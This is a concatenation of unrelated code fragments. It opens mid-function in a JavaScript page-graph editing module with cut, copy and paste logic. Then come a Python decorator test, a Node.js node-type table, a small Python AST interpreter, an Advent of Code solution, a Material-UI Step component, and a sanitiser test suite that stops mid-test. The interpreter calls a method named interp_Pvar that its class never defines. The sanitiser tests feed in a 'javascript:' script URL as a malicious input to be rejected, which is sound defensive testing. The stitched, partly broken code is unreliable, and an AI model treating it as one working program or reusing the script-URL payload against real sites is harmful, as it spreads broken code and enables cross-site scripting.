pNode.pagePath === page.pagePath; }); if(newPageNode){ graphNode = graph.node(newPageNode.pageKey); graphNode.index = index; newPageNodes.push(newPageNode); } }); graphObject.pageNodes = newPageNodes; } return graphObject.pageNodes; } export function deletePage(pagePath){ let { graph, model, pageNodes } = graphObject; if(model.pages && model.pages.length === 1){ throw Error('The current page is the only page in the project and can not be deleted.'); } const pageNode = pageNodes.find(pNode => { return pNode.pagePath === pagePath; }); if(!pageNode){ throw Error('Delete page: specified path ' + pagePath + ' was not found.'); } let rootNode = graph.node(pageNode.pageKey); if(rootNode){ model.pages.splice(rootNode.index, 1); traverseGraphBranch(graph, pageNode.pageKey, (nodeKey => { graph.removeNode(nodeKey); })); let newPageNodes = []; let newPageNode; let graphNode; model.pages.forEach((page, index) => { newPageNode = pageNodes.find(pNode => { return pNode.pagePath === page.pagePath; }); if(newPageNode){ graphNode = graph.node(newPageNode.pageKey); graphNode.index = index; newPageNodes.push(newPageNode); } }); graphObject.pageNodes = newPageNodes; } return graphObject.pageNodes; } function getDetachedKeysForCutting(){ const {graph, pageNodes} = graphObject; const testFunc = node => node.isForCutting; let detachedKeys = []; pageNodes.forEach(pNode => { detachGraphNodes(graph, pNode.pageKey, testFunc, detachedKeys); }); return detachedKeys; } function getDetachedKeysForCopying(){ const {graph, pageNodes} = graphObject; const testFunc = node => node.isForCopying; let detachedKeys = []; pageNodes.forEach(pNode => { copyGraphNodes(graph, pNode.pageKey, testFunc, detachedKeys); }); return detachedKeys; } export function isCutPasteAvailable(nodeKey){ let childNode = graphObject.graph.node(nodeKey); return !!(childNode && !childNode.isForCuttingChild && !childNode.isForCutting); } export function cutPasteBeforeOrAfter(isAfter){ const {selected} = getAllMarkedKeys(); let resultKeys = []; if(selected && selected.length === 1 && isCutPasteAvailable(selected[0])) { const {graph} = graphObject; const nodeKey = selected[0]; const node = graph.node(nodeKey); if(!node){ console.error('Cut & paste before or after node: node with key ' + nodeKey + ' was not found.'); } else if(!node.prop){ let detachedKeys = getDetachedKeysForCutting(); if(detachedKeys.length > 0){ const parentKey = graph.parent(nodeKey); if(parentKey){ let detachedModelNodes = []; let detachedNode; detachedKeys.forEach(detachedKey => { detachedNode = graph.node(detachedKey); if(detachedNode && detachedNode.modelNode){ graph.setParent(detachedKey, parentKey); detachedModelNodes.push(detachedNode.modelNode); } }); let parentNode = graph.node(parentKey); let {modelNode} = parentNode; let modelNodesArgs = [node.index + (isAfter ? 1 : 0), 0].concat(detachedModelNodes); modelNode.children.splice.apply(modelNode.children, modelNodesArgs); adjustIndices(graph, parentKey); } } resultKeys = resultKeys.concat(detachedKeys); } else { resultKeys.push(nodeKey); } } else { console.error('Cut & paste before or after node: pasting can not be provided for the same component or its children, or a multiple selection'); } return resultKeys; } export function cutPasteFirstOrLast(isFirst){ const {selected} = getAllMarkedKeys(); let resultKeys = []; if(selected && selected.length === 1 && isCutPasteAvailable(selected[0])) { const {graph} = graphObject; const nodeKey = selected[0]; const node = graph.node(nodeKey); if(!node){ console.error('Cut & paste first or last node: node with key ' + nodeKey + ' was not found.'); } else { let detachedKeys = getDetachedKeysForCutting(); if(detachedKeys.length > 0){ let detachedModelNodes = []; let detachedNode; detachedKeys.forEach(detachedKey => { detachedNode = graph.node(detachedKey); if(detachedNode && detachedNode.modelNode){ graph.setParent(detachedKey, nodeKey); detachedModelNodes.push(detachedNode.modelNode); } }); let {modelNode} = node; modelNode.children = modelNode.children || []; const lastIndex = modelNode.children.length > 0 ? modelNode.children.length : 0; let modelNodesArgs = [(isFirst ? 0 : lastIndex), 0].concat(detachedModelNodes); modelNode.children.splice.apply(modelNode.children, modelNodesArgs); adjustIndices(graph, nodeKey); } resultKeys = resultKeys.concat(detachedKeys); } } else { console.error('Cut & paste first or last node: pasting can not be provided for the same component or its children, or a multiple selection'); } return resultKeys; } export function cutPasteReplace(){ const {selected} = getAllMarkedKeys(); let resultKeys = []; if(selected && selected.length === 1 && isCutPasteAvailable(selected[0])){ const {graph} = graphObject; const nodeKey = selected[0]; const node = graph.node(nodeKey); if(!node){ console.error('Cut & paste replace: node with key ' + nodeKey + ' was not found.'); } else if(!node.prop){ let detachedKeys = getDetachedKeysForCutting(); if(detachedKeys.length > 0) { const parentKey = graph.parent(nodeKey); if(parentKey){ const nodeIndex = node.index; traverseGraphBranch(graph, nodeKey, (key => { graph.removeNode(key); })); delete node.modelNode; let detachedModelNodes = []; let detachedNode; detachedKeys.forEach(detachedKey => { detachedNode = graph.node(detachedKey); if(detachedNode && detachedNode.modelNode){ graph.setParent(detachedKey, parentKey); detachedModelNodes.push(detachedNode.modelNode); } }); let parentNode = graph.node(parentKey); let {modelNode} = parentNode; modelNode.children = modelNode.children || []; let modelNodesArgs = [nodeIndex, 1].concat(detachedModelNodes); modelNode.children.splice.apply(modelNode.children, modelNodesArgs); adjustIndices(graph, parentKey); } } resultKeys = resultKeys.concat(detachedKeys); } else { resultKeys.push(nodeKey); } } else { console.error('Cut & paste replace: replacing can not be provided for the same component or a multiple selection'); } return resultKeys; } //export function cutPasteWrap(nodeKey){ // if(!isCutPasteAvailable(nodeKey)){ // throw Error('Node with key ' + nodeKey + ' is not available to cut & paste operation.'); // } // const {graph} = graphObject; // const node = graph.node(nodeKey); // if(!node){ // throw Error('Cut & paste wrap: node with key ' + nodeKey + ' was not found.'); // } // if(!node.prop){ // const { forCutting } = getAllMarkedKeys(); // if(forCutting.length !== 1){ // throw Error('Cut & paste wrap: wrapping can be applied only for single component'); // } // const pastedKeys = cutPasteBeforeOrAfter(nodeKey, false); // removeForCutting(pastedKeys[0]); // setForCutting(nodeKey); // cutPasteFirstOrLast(pastedKeys[0], false); // removeForCutting(nodeKey); // return pastedKeys; // } else { // return [nodeKey]; // } //} export function copyPasteBeforeOrAfter(isAfter){ const {selected} = getAllMarkedKeys(); const {graph} = graphObject; let resultKeys = []; if(selected && selected.length > 0){ selected.forEach(nodeKey => { const node = graph.node(nodeKey); if(!node){ console.error('Copy & paste before or after node: node with key ' + nodeKey + ' was not found.'); } else if(!node.prop){ let detachedKeys = getDetachedKeysForCopying(); if(detachedKeys.length > 0){ const parentKey = graph.parent(nodeKey); if(parentKey){ let detachedModelNodes = []; let detachedNode; detachedKeys.forEach(detachedKey => { detachedNode = graph.node(detachedKey); if(detachedNode && detachedNode.modelNode){ graph.setParent(detachedKey, parentKey); detachedModelNodes.push(detachedNode.modelNode); } }); let parentNode = graph.node(parentKey); let {modelNode} = parentNode; modelNode.children = modelNode.children || []; let modelNodesArgs = [node.index + (isAfter ? 1 : 0), 0].concat(detachedModelNodes); modelNode.children.splice.apply(modelNode.children, modelNodesArgs); adjustIndices(graph, parentKey); } } resultKeys = resultKeys.concat(detachedKeys); } else { resultKeys.push(nodeKey); } }); } return resultKeys; } export function copyPasteFirstOrLast(isFirst){ const {selected} = getAllMarkedKeys(); const {graph} = graphObject; let resultKeys = []; if(selected && selected.length > 0){ selected.forEach(nodeKey => { const node = graph.node(nodeKey); if(!node){ console.error('Copy & paste first or last node: node with key ' + nodeKey + ' was not found.'); } else { let detachedKeys = getDetachedKeysForCopying(); if(detachedKeys.length > 0){ let detachedModelNodes = []; let detachedNode; detachedKeys.forEach(detachedKey => { detachedNode = graph.node(detachedKey); if(detachedNode && detachedNode.modelNode){ graph.setParent(detachedKey, nodeKey); detachedModelNodes.push(detachedNode.modelNode); } }); let {modelNode} = node; modelNode.children = modelNode.children || []; const lastIndex = modelNode.children.length > 0 ? modelNode.children.length : 0; let modelNodesArgs = [(isFirst ? 0 : lastIndex), 0].concat(detachedModelNodes); modelNode.children.splice.apply(modelNode.children, modelNodesArgs); adjustIndices(graph, nodeKey); } resultKeys = resultKeys.concat(detachedKeys); } }); } return resultKeys; } export function copyPasteReplace(){ const {selected, forCopying} = getAllMarkedKeys(); const {graph} = graphObject; let resultKeys = []; if(selected && selected.length > 0) { selected.forEach(nodeKey => { if(forCopying.indexOf(nodeKey) < 0){ const node = graph.node(nodeKey); if(!node){ throw Error('Copy & paste replace: node with key ' + nodeKey + ' was not found.'); } else if(!node.prop){ let detachedKeys = getDetachedKeysForCopying(); if(detachedKeys.length > 0) { const parentKey = graph.parent(nodeKey); if(parentKey){ const nodeIndex = node.index; traverseGraphBranch(graph, nodeKey, (key => { graph.removeNode(key); const removedIndex = resultKeys.indexOf(key); if(removedIndex >= 0){ resultKeys.splice(removedIndex, 1); } })); delete node.modelNode; let detachedModelNodes = []; let detachedNode; detachedKeys.forEach(detachedKey => { detachedNode = graph.node(detachedKey); if(detachedNode && detachedNode.modelNode){ graph.setParent(detachedKey, parentKey); detachedModelNodes.push(detachedNode.modelNode); } }); let parentNode = graph.node(parentKey); let {modelNode} = parentNode; modelNode.children = modelNode.children || []; let modelNodesArgs = [nodeIndex, 1].concat(detachedModelNodes); modelNode.children.splice.apply(modelNode.children, modelNodesArgs); adjustIndices(graph, parentKey); } } resultKeys = resultKeys.concat(detachedKeys); } else { resultKeys.push(nodeKey); } } else { console.warn('Copy & paste replace: replacing can not be provided for the same component.'); } }); } return resultKeys; } //export function copyPasteWrap(nodeKey){ // const {graph} = graphObject; // const node = graph.node(nodeKey); // if(!node){ // throw Error('Copy & paste wrap: node with key ' + nodeKey + ' was not found.'); // } // if(!node.prop){ // const { forCopying } = getAllMarkedKeys(); // if(forCopying.length !== 1){ // throw Error('Copy & paste wrap: wrapping can be applied only for single component'); // } // const pastedKeys = copyPasteBeforeOrAfter(nodeKey, false); // setForCutting(nodeKey); // cutPasteFirstOrLast(pastedKeys[0], false); // removeForCutting(nodeKey); // return pastedKeys; // } else { // return [nodeKey]; // } //} export function setBuffer(model){ const {graph} = graphObject; if(bufferKey){ removeBuffer(); } const newModel = fulex(model); bufferKey = mapModel(graph, newModel, 0); return bufferKey; } export function removeBuffer(){ const {graph} = graphObject; let childNode; if(bufferKey){ traverseGraphBranch(graph, bufferKey, childKey => { childNode = graph.node(childKey); if(childNode){ delete childNode.modelNode; graph.removeNode(childKey); } }); bufferKey = undefined; } } export function fromBufferBeforeOrAfter(isAfter, quickKey){ const {selected} = getAllMarkedKeys(); const {graph} = graphObject; let resultKeys = []; if(selected && selected.length > 0) { selected.forEach(nodeKey => { const node = graph.node(nodeKey); if(!node){ console.error('From buffer to before or after node: node with key ' + nodeKey + ' was not found.'); } else if(!node.prop){ let detachedKey = copyGraphNode(graph, quickKey ? quickKey : bufferKey); if(detachedKey){ const parentKey = graph.parent(nodeKey); if(parentKey){ let detachedModelNodes = []; let detachedNode = graph.node(detachedKey); if (detachedNode && detachedNode.modelNode) { graph.setParent(detachedKey, parentKey); detachedModelNodes.push(detachedNode.modelNode); } let parentNode = graph.node(parentKey); let {modelNode} = parentNode; modelNode.children = modelNode.children || []; let modelNodesArgs = [node.index + (isAfter ? 1 : 0), 0].concat(detachedModelNodes); modelNode.children.splice.apply(modelNode.children, modelNodesArgs); adjustIndices(graph, parentKey); } } resultKeys.push(detachedKey); } else { resultKeys.push(nodeKey); } }); } return resultKeys; } export function quickBeforeOrAfter(model, isAfter){ const {graph} = graphObject; let newModel = fulex(model); let quickKey = mapModel(graph, newModel, 0); const resultKeys = fromBufferBeforeOrAfter(isAfter, quickKey); let childNode; traverseGraphBranch(graph, quickKey, childKey => { childNode = graph.node(childKey); if(childNode){ delete childNode.modelNode; graph.removeNode(childKey); } }); newModel = undefined; quickKey = undefined; return resultKeys; } export function fromBufferFirstOrLast(isFirst, quickKey){ const {selected} = getAllMarkedKeys(); const {graph} = graphObject; let resultKeys = []; if(selected && selected.length > 0) { selected.forEach(nodeKey => { const node = graph.node(nodeKey); if(!node){ console.error('From buffer to first or last node: node with key ' + nodeKey + ' was not found.'); } else { let detachedKey = copyGraphNode(graph, quickKey ? quickKey : bufferKey); if(detachedKey){ let detachedModelNodes = []; let detachedNode = graph.node(detachedKey); if (detachedNode && detachedNode.modelNode) { graph.setParent(detachedKey, nodeKey); detachedModelNodes.push(detachedNode.modelNode); } let {modelNode} = node; modelNode.children = modelNode.children || []; const lastIndex = modelNode.children.length > 0 ? modelNode.children.length : 0; let modelNodesArgs = [(isFirst ? 0 : lastIndex), 0].concat(detachedModelNodes); modelNode.children.splice.apply(modelNode.children, modelNodesArgs); adjustIndices(graph, nodeKey); } resultKeys.push(detachedKey); } }); } return resultKeys; } export function quickFirstOrLast(model, isFirst){ const {graph} = graphObject; let newModel = fulex(model); let quickKey = mapModel(graph, newModel, 0); const resultKeys = fromBufferFirstOrLast(isFirst, quickKey); let childNode; traverseGraphBranch(graph, quickKey, childKey => { childNode = graph.node(childKey); if(childNode){ delete childNode.modelNode; graph.removeNode(childKey); } }); newModel = undefined; quickKey = undefined; return resultKeys; } export function fromBufferReplace(quickKey){ const {selected} = getAllMarkedKeys(); const {graph} = graphObject; let resultKeys = []; if(selected && selected.length > 0) { selected.forEach(nodeKey => { const node = graph.node(nodeKey); if(!node){ console.error('From buffer replace: node with key ' + nodeKey + ' was not found.'); } else if(!node.prop){ let detachedKey = copyGraphNode(graph, quickKey ? quickKey : bufferKey); if(detachedKey) { const parentKey = graph.parent(nodeKey); if(parentKey){ const nodeIndex = node.index; traverseGraphBranch(graph, nodeKey, (key => { graph.removeNode(key); })); delete node.modelNode; let detachedModelNodes = []; let detachedNode = graph.node(detachedKey); if (detachedNode && detachedNode.modelNode) { graph.setParent(detachedKey, parentKey); detachedModelNodes.push(detachedNode.modelNode); } let parentNode = graph.node(parentKey); let {modelNode} = parentNode; modelNode.children = modelNode.children || []; let modelNodesArgs = [nodeIndex, 1].concat(detachedModelNodes); modelNode.children.splice.apply(modelNode.children, modelNodesArgs); adjustIndices(graph, parentKey); } } resultKeys.push(detachedKey); } else { resultKeys.push(nodeKey); } }); } return resultKeys; } export function quickReplace(model){ const {graph} = graphObject; let newModel = fulex(model); let quickKey = mapModel(graph, newModel, 0); const resultKeys = fromBufferReplace(quickKey); let childNode; traverseGraphBranch(graph, quickKey, childKey => { childNode = graph.node(childKey); if(childNode){ delete childNode.modelNode; graph.removeNode(childKey); } }); newModel = undefined; quickKey = undefined; return resultKeys; } //export function fromBufferWrap(nodeKey, quickKey){ // const {graph} = graphObject; // const node = graph.node(nodeKey); // if(!node){ // throw Error('From buffer wrap: node with key ' + nodeKey + ' was not found.'); // } // if(!node.prop){ // const pastedKeys = fromBufferBeforeOrAfter(nodeKey, false, quickKey); // setForCutting(nodeKey); // cutPasteFirstOrLast(pastedKeys[0], false); // removeForCutting(nodeKey); // return pastedKeys; // } else { // return [nodeKey]; // } //} //export function quickWrap(model, nodeKey){ // const {graph} = graphObject; // let newModel = fulex(model); // let quickKey = mapModel(graph, newModel, 0); // const resultKeys = fromBufferWrap(nodeKey, quickKey); // let childNode; // traverseGraphBranch(graph, quickKey, childKey => { // childNode = graph.node(childKey); // if(childNode){ // delete childNode.modelNode; // graph.removeNode(childKey); // } // }); // newModel = undefined; // quickKey = undefined; // return resultKeys; //} export function cloneSelected(){ const {graph} = graphObject; const { selected } = getAllMarkedKeys(); let pastedKeys = []; if(selected && selected.length > 0){ let clonedMap = new Map(); let newNodeKey; selected.forEach(selectedKey => { const selectedNode = graph.node(selectedKey); if(selectedNode && !selectedNode.prop){ newNodeKey = copyGraphNode(graph, selectedKey); clonedMap.set(selectedKey, newNodeKey); } }); clonedMap.forEach((newKey, targetKey) => { const parentKey = graph.parent(targetKey); let parentNode = graph.node(parentKey); const selectedNode = graph.node(targetKey); if(parentNode && selectedNode){ let detachedModelNodes = []; let detachedNode = graph.node(newKey); if(detachedNode && detachedNode.modelNode){ graph.setParent(newKey, parentKey); detachedModelNodes.push(detachedNode.modelNode); let {modelNode} = parentNode; modelNode.children = modelNode.children || []; let modelNodesArgs = [selectedNode.index + 1, 0].concat(detachedModelNodes); modelNode.children.splice.apply(modelNode.children, modelNodesArgs); adjustIndices(graph, parentKey); pastedKeys.push(newKey); } } }); } return pastedKeys; } export function moveSelected(isUp){ const {graph} = graphObject; const { selected } = getAllMarkedKeys(); if(selected && selected.length > 0){ let parentMap = new Map(); let parentKey; let childrenGroup; let child; selected.forEach(selectedKey => { child = graph.node(selectedKey); if(child){ parentKey = graph.parent(selectedKey); if(parentKey){ childrenGroup = parentMap.get(parentKey); if(!childrenGroup){ childrenGroup = []; parentMap.set(parentKey, childrenGroup); } childrenGroup.push(child); } } }); let parentNode; parentMap.forEach((group, parentKey) => { parentNode = graph.node(parentKey); let {modelNode} = parentNode; if(modelNode.children && modelNode.children.length !== 1) { if (isUp) { group.sort((a, b) => a.index - b.index); for (let u = 0; u < group.length; u++) { if(group[u].index <= 0){ break; } modelNode.children.splice(group[u].index, 1); modelNode.children.splice(group[u].index - 1, 0, group[u].modelNode); } } else { group.sort((a, b) => b.index - a.index); for(let d = 0; d < group.length; d++){ if(group[d].index >= modelNode.children.length - 1){ break; } modelNode.children.splice(group[d].index, 1); modelNode.children.splice(group[d].index + 1, 0, group[d].modelNode); } } adjustIndices(graph, parentKey); } }); } } export function deleteSelected(){ const {graph, pageNodes} = graphObject; const testFunc = node => node.selected; let detachedKeys = []; let resultKeys = []; pageNodes.forEach(pNode => { traverseGraphBranch(graph, pNode.pageKey, (key => { let childNode = graph.node(key); if(childNode.selected){ const parentKey = graph.parent(key); if(parentKey){ //const parentNode = graph.node(parentKey); const childKeys = graph.children(parentKey); if(childKeys && childKeys.length > 1){ let children = []; childKeys.forEach(childKey => { children.push({ key: childKey, node: graph.node(childKey) }); }); children.sort((a, b) => a.node.index - b.node.index); if(childNode.index === 0){ resultKeys.push(children[1].key); } else { resultKeys.push(children[childNode.index - 1].key); } } else { resultKeys.push(parentKey); } } } })); detachGraphNodes(graph, pNode.pageKey, testFunc, detachedKeys); }); let newResultKeys = []; if(detachedKeys.length > 0){ resultKeys.forEach(key => { if(detachedKeys.indexOf(key) < 0){ newResultKeys.push(key); } }); let childNode; detachedKeys.forEach(key => { traverseGraphBranch(graph, key, childKey => { childNode = graph.node(childKey); if(childNode){ delete childNode.modelNode; graph.removeNode(childKey); } }); }); } return newResultKeys; } export function changeModelNodeType(nodeKey, newModel){ const {graph} = graphObject; let node = graph.node(nodeKey); const parentKey = graph.parent(nodeKey); const detachedModel = fulex(newModel); if(node && parentKey){ traverseGraphBranch(graph, nodeKey, childKey => { if(childKey !== nodeKey){ let childNode = graph.node(childKey); if(childNode){ delete childNode.modelNode; graph.removeNode(childKey); } } }); mapModelForNode(graph, detachedModel, node.index, undefined, undefined, nodeKey); let parentNode = graph.node(parentKey); let {modelNode} = parentNode; modelNode.children = modelNode.children || []; let modelNodesArgs = [node.index, 1].concat([detachedModel]); modelNode.children.splice.apply(modelNode.children, modelNodesArgs); adjustIndices(graph, parentKey); } } export function setForCutting(nodeKey){ const {graph} = graphObject; let node = graph.node(nodeKey); if(node){ node.isForCutting = true; traverseGraphBranch(graph, nodeKey, (key => { let childNode = graph.node(key); childNode.isForCuttingChild = true; })); } } export function removeForCutting(nodeKey){ const {graph} = graphObject; let node = graph.node(nodeKey); if(node){ node.isForCutting = undefined; traverseGraphBranch(graph, nodeKey, (key => { let childNode = graph.node(key); childNode.isForCuttingChild = undefined; })); } } export function setForCopying(nodeKey){ const {graph} = graphObject; let node = graph.node(nodeKey); if(node){ node.isForCopying = true; } } export function removeForCopying(nodeKey){ const {graph} = graphObject; let node = graph.node(nodeKey); if(node){ node.isForCopying = undefined; } } export function removeClipboardMarks(nodeKey){ removeForCutting(nodeKey); removeForCopying(nodeKey); } export function getMarkedKeys(rootKey){ let selected = []; let highlighted = []; let forCutting = []; let forCopying = []; const {graph} = graphObject; traverseGraphBranch(graph, rootKey, (key => { let childNode = graph.node(key); if(childNode){ if(childNode.highlighted){ highlighted.push(key); } if(childNode.selected){ selected.push(key); } if(childNode.isForCutting){ forCutting.push(key); } if(childNode.isForCopying){ forCopying.push(key); } } })); //console.log('Get marked keys, root: ' + rootKey + // ', selected: ' + selected.length + // ', highlighted: ' + highlighted.length + // ', forCutting: ' + forCutting.length + // ', forCopying: ' + forCopying.length); return { selected, highlighted, forCutting, forCopying }; } export function getAllMarkedKeys(){ const { graph, pageNodes } = graphObject; let result = undefined; pageNodes.forEach(pNode => { if(!result){ result = getMarkedKeys(pNode.pageKey); } else { const {selected, highlighted, forCutting, forCopying} = getMarkedKeys(pNode.pageKey); result.selected = result.selected.concat(selected); result.highlighted = result.highlighted.concat(highlighted); result.forCutting = result.forCutting.concat(forCutting); result.forCopying = result.forCopying.concat(forCopying); } }); return result; }
# test decorators def dec(f): print('dec') return f def dec_arg(x): print(x) return lambda f:f # plain decorator @dec def f(): pass # decorator with arg @dec_arg('dec_arg') def g(): pass # decorator of class @dec class A: pass
/** * @file Node.js - Simple node types * @author {@link mailto:[email protected] Grant Vergottini} * @version 1.0 * @copyright &copy; 2019 -- {@link http://xcential.com Xcential Corp.} */ exports.Node = { ELEMENT_NODE: 1, ATTRIBUTE_NODE: 2, TEXT_NODE: 3, CDATA_SECTION_NODE: 4, PROCESSING_INSTRUCTION_NODE: 7, COMMENT_NODE: 8, DOCUMENT_NODE: 9, DOCUMENT_TYPE_NODE: 10, DOCUMENT_FRAGMENT_NODE: 11 };
from ast import * from utils import input_int class InterpPvar: def interp_exp(self, e, env): match e: case BinOp(left, Add(), right): l = self.interp_exp(left, env) r = self.interp_exp(right, env) return l + r case UnaryOp(USub(), v): return - self.interp_exp(v, env) case Name(id): return env[id] case Constant(value): return value case Call(Name('input_int'), []): return int(input()) case _: raise Exception('error in InterpPvar.interp_exp, unhandled ' + repr(e)) def interp_stmts(self, ss, env): if len(ss) == 0: return match ss[0]: case Assign([lhs], value): env[lhs.id] = self.interp_exp(value, env) return self.interp_stmts(ss[1:], env) case Expr(Call(Name('print'), [arg])): print(self.interp_exp(arg, env), end='') return self.interp_stmts(ss[1:], env) case Expr(value): self.interp_exp(value, env) return self.interp_stmts(ss[1:], env) case _: raise Exception('error in InterpPvar.interp_stmt, unhandled ' + repr(ss[0])) def interp_P(self, p): match p: case Module(body): self.interp_stmts(body, {}) if __name__ == "__main__": eight = Constant(8) neg_eight = UnaryOp(USub(), eight) read = Call(Name('input_int'), []) ast1_1 = BinOp(read, Add(), neg_eight) pr = Expr(Call(Name('print'), [ast1_1])) p = Module([pr]) interp = InterpPvar() interp.interp_Pvar(p)
def partTwo(instr: str) -> int: joltages = sorted([int(x) for x in instr.strip().split("\n")]) route_lengths = {0: 1} for joltage in joltages: total_routes = 0 # Get the route lengths for the three previous joltages for n in [1, 2, 3]: total_routes += route_lengths.get(joltage - n, 0) print(joltage, total_routes) route_lengths[joltage] = total_routes return route_lengths[max(joltages)]
import _extends from 'babel-runtime/helpers/extends'; import _objectWithoutProperties from 'babel-runtime/helpers/objectWithoutProperties'; import React from 'react'; import PropTypes from 'prop-types'; import classNames from 'classnames'; import withStyles from '../styles/withStyles'; export const styles = theme => ({ root: {}, horizontal: { paddingLeft: theme.spacing.unit, paddingRight: theme.spacing.unit, '&:first-child': { paddingLeft: 0 }, '&:last-child': { paddingRight: 0 } }, vertical: {}, alternativeLabel: { flex: 1, position: 'relative' } }); function Step(props) { const { active, alternativeLabel, children, classes, className: classNameProp, completed, connector, disabled, index, last, orientation } = props, other = _objectWithoutProperties(props, ['active', 'alternativeLabel', 'children', 'classes', 'className', 'completed', 'connector', 'disabled', 'index', 'last', 'orientation']); const className = classNames(classes.root, classes[orientation], { [classes.alternativeLabel]: alternativeLabel }, classNameProp); return React.createElement( 'div', _extends({ className: className }, other), React.Children.map(children, child => React.cloneElement(child, _extends({ active, alternativeLabel, completed, disabled, icon: index + 1, last, orientation }, child.props))), connector && alternativeLabel && !last && React.cloneElement(connector, { orientation, alternativeLabel }) ); } Step.propTypes = process.env.NODE_ENV !== "production" ? { /** * Sets the step as active. Is passed to child components. */ active: PropTypes.bool, /** * @ignore * Set internally by Stepper when it's supplied with the alternativeLabel property. */ alternativeLabel: PropTypes.bool, /** * Should be `Step` sub-components such as `StepLabel`, `StepContent`. */ children: PropTypes.node, /** * @ignore */ classes: PropTypes.object.isRequired, /** * @ignore */ className: PropTypes.string, /** * Mark the step as completed. Is passed to child components. */ completed: PropTypes.bool, /** * @ignore * Passed down from Stepper if alternativeLabel is also set. */ connector: PropTypes.element, /** * Mark the step as disabled, will also disable the button if * `StepButton` is a child of `Step`. Is passed to child components. */ disabled: PropTypes.bool, /** * @ignore * Used internally for numbering. */ index: PropTypes.number, /** * @ignore */ last: PropTypes.bool, /** * @ignore */ orientation: PropTypes.oneOf(['horizontal', 'vertical']) } : {}; Step.defaultProps = { active: false, completed: false, disabled: false }; export default withStyles(styles, { name: 'MuiStep' })(Step);
var assert = require('assert'); var moment = require('moment'); describe('launder', function() { var launder = require('../index.js')(); it('should exist', function() { assert(launder); }); describe('instantiation', function(){ it('should have default filterTag function', function(){ assert(typeof(launder.filterTag) === 'function'); assert(launder.filterTag(' HEllo ') === 'hello'); }); it('should take a new filterTag function', function(){ var launderWithFilterTag = require('../index.js')({ filterTag: function(tag){ return 'punk'; } }); assert(typeof(launderWithFilterTag.filterTag) === 'function'); assert(launderWithFilterTag.filterTag(' HEllo ') === 'punk'); }); }); describe('methods', function(){ it('should have a `string` method', function() { assert(launder.string); }); it('should have a `strings` method', function() { assert(launder.strings); }); it('should have a `integer` method', function() { assert(launder.integer); }); it('should have a `padInteger` method', function() { assert(launder.padInteger); }); it('should have a `float` method', function() { assert(launder.float); }); it('should have a `url` method', function() { assert(launder.url); }); it('should have a `select` method', function() { assert(launder.select); }); it('should have a `boolean` method', function() { assert(launder.boolean); }); it('should have a `addBooleanFilterToCriteria` method', function() { assert(launder.addBooleanFilterToCriteria); }); it('should have a `date` method', function() { assert(launder.date); }); it('should have a `formatDate` method', function() { assert(launder.formatDate); }); it('should have a `time` method', function() { // just a flat circle assert(launder.time); }); it('should have a `formatTime` method', function() { assert(launder.formatTime); }); it('should have a `tags` method', function() { assert(launder.tags); }); it('should have a `id` method', function() { assert(launder.id); }); it('should have an `ids` method', function() { assert(launder.ids); }); }); describe('string', function(){ it('should do nothing to a good string', function(){ assert(launder.string('this is great') === 'this is great'); }); it('should trim a string', function(){ assert(launder.string(' remove whitespace ') === 'remove whitespace'); }); it('should convert a number to a string', function(){ assert(launder.string(1234) === '1234'); }); it('should convert a boolean to a string', function() { assert(launder.string(true) === 'true'); assert(launder.string(false) === 'false'); }); it('should convert non-string/non-number to an empty string', function(){ assert(launder.string({an: 'object'}) === ''); assert(launder.string(function(){ return 'still not a string' }) === ''); }); it('should use a default for non-strings', function(){ assert(launder.string({an: 'object'}, 'default') === 'default'); }); }); describe('strings', function(){ it('should do good stuff to an array of strings', function(){ var s = launder.strings([' testing ', 123]); assert(s[0] === 'testing'); assert(s[1] === '123'); }); it('should return an empty array if we pass in something that is not an array', function(){ var s = launder.strings({an: 'object', is: 'not', an: 'array'}); assert(Array.isArray(s)); assert(s.length === 0); }); }); describe('integer', function(){ it('should do nothing to a good integer', function(){ assert(launder.integer(123) === 123); }); it('should convert a float to a rounded down integer', function(){ assert(launder.integer(42.42) === 42); }); it('should convet a string of an integer to an integer', function(){ assert(launder.integer('123') === 123); }); it('should convert a string of a float to a rounded down integer', function(){ assert(launder.integer('42.42') === 42); }); it('should convert a non-number to 0 by default', function(){ assert(launder.integer('nah') === 0); }); it('should convert a non-number to the passed in default', function(){ assert(launder.integer('nah', 5) === 5); }); it('should set a value below min to min', function(){ assert(launder.integer(5, null, 10) === 10); }); it('should set a value above max to max', function(){ assert(launder.integer(25, null, null, 20) === 20); }); it('should set a non-number with no default to min', function(){ assert(launder.integer('nah', null, 10, 20) === 10); }); }); describe('padInteger', function(){ it('should add 0s to to an integer shorter than the pad', function(){ assert(launder.padInteger(1234, 10) === '0000001234'); }); it('should not add 0s to an integer longer than the pad', function(){ assert(launder.padInteger(123456789,5) === '123456789'); }); }); describe('float', function(){ it('should do nothing to a good float', function(){ assert(launder.float(42.42) === 42.42); }); it('should convert a string of a float to a float', function(){ assert(launder.float('42.42') === 42.42); }); it('should convert a non-number to 0 by default', function(){ assert(launder.float('nah') === 0); }); it('should convert a non-number to the passed in default', function(){ assert(launder.float('nah', 5.5) === 5.5); }); it('should set a value below min to min', function(){ assert(launder.float(5, null, 10.6) === 10.6); }); it('should set a value above max to max', function(){ assert(launder.float(25, null, null, 20.2) === 20.2); }); it('should set a non-number with no default to min', function(){ assert(launder.float('nah', null, 10.6, 20.2) === 10.6); }); }); describe('url', function(){ it('should do nothing to a good url', function(){ assert(launder.url('http://www.apostrophenow.org') === 'http://www.apostrophenow.org'); }); it('should add http:// when missing', function(){ assert(launder.url('www.apostrophenow.org') === 'http://www.apostrophenow.org'); }); it('should remove spaces from a url', function(){ assert(launder.url('this is not a url') === 'thisisnotaurl'); }); it('should return the default if it is an empty string', function(){ assert(launder.url('', 'http://www.apostrophenow.org') === 'http://www.apostrophenow.org'); }); it('should return the default if it is null', function(){ assert(launder.url(null, 'http://www.apostrophenow.org') === 'http://www.apostrophenow.org'); }); it('should return the default if it is undefined', function(){ assert(launder.url(undefined, 'http://www.apostrophenow.org') === 'http://www.apostrophenow.org'); }); it('should return the default if it is malicious', function(){ assert(launder.url('javascript:alert(\'All your base are belong to us\');', 'http://www.apostrophenow.org') === 'http://www.apostrophenow.org'); }); }); describe('select', function(){ it('should do nothing to a good choice from an array', function(){ assert(launder.select('n', ['p','u','n','k']) === 'n'); }); it('should do nothing to a good choice from an object', function(){ var s = launder.select('n', [ { name: 'Probably amazing', value: 'p' }, { name: 'Utterly incredible', value: 'u' }, { name: 'Never gonna give you up', value: 'n' }, { name: 'Kind hearted', value: 'k'} ]); assert(s === 'n'); }); it('should return the default if choices is null', function(){ assert(launder.select('hi',null,'bye') === 'bye'); }); it('should return the default if choices is empty', function(){ 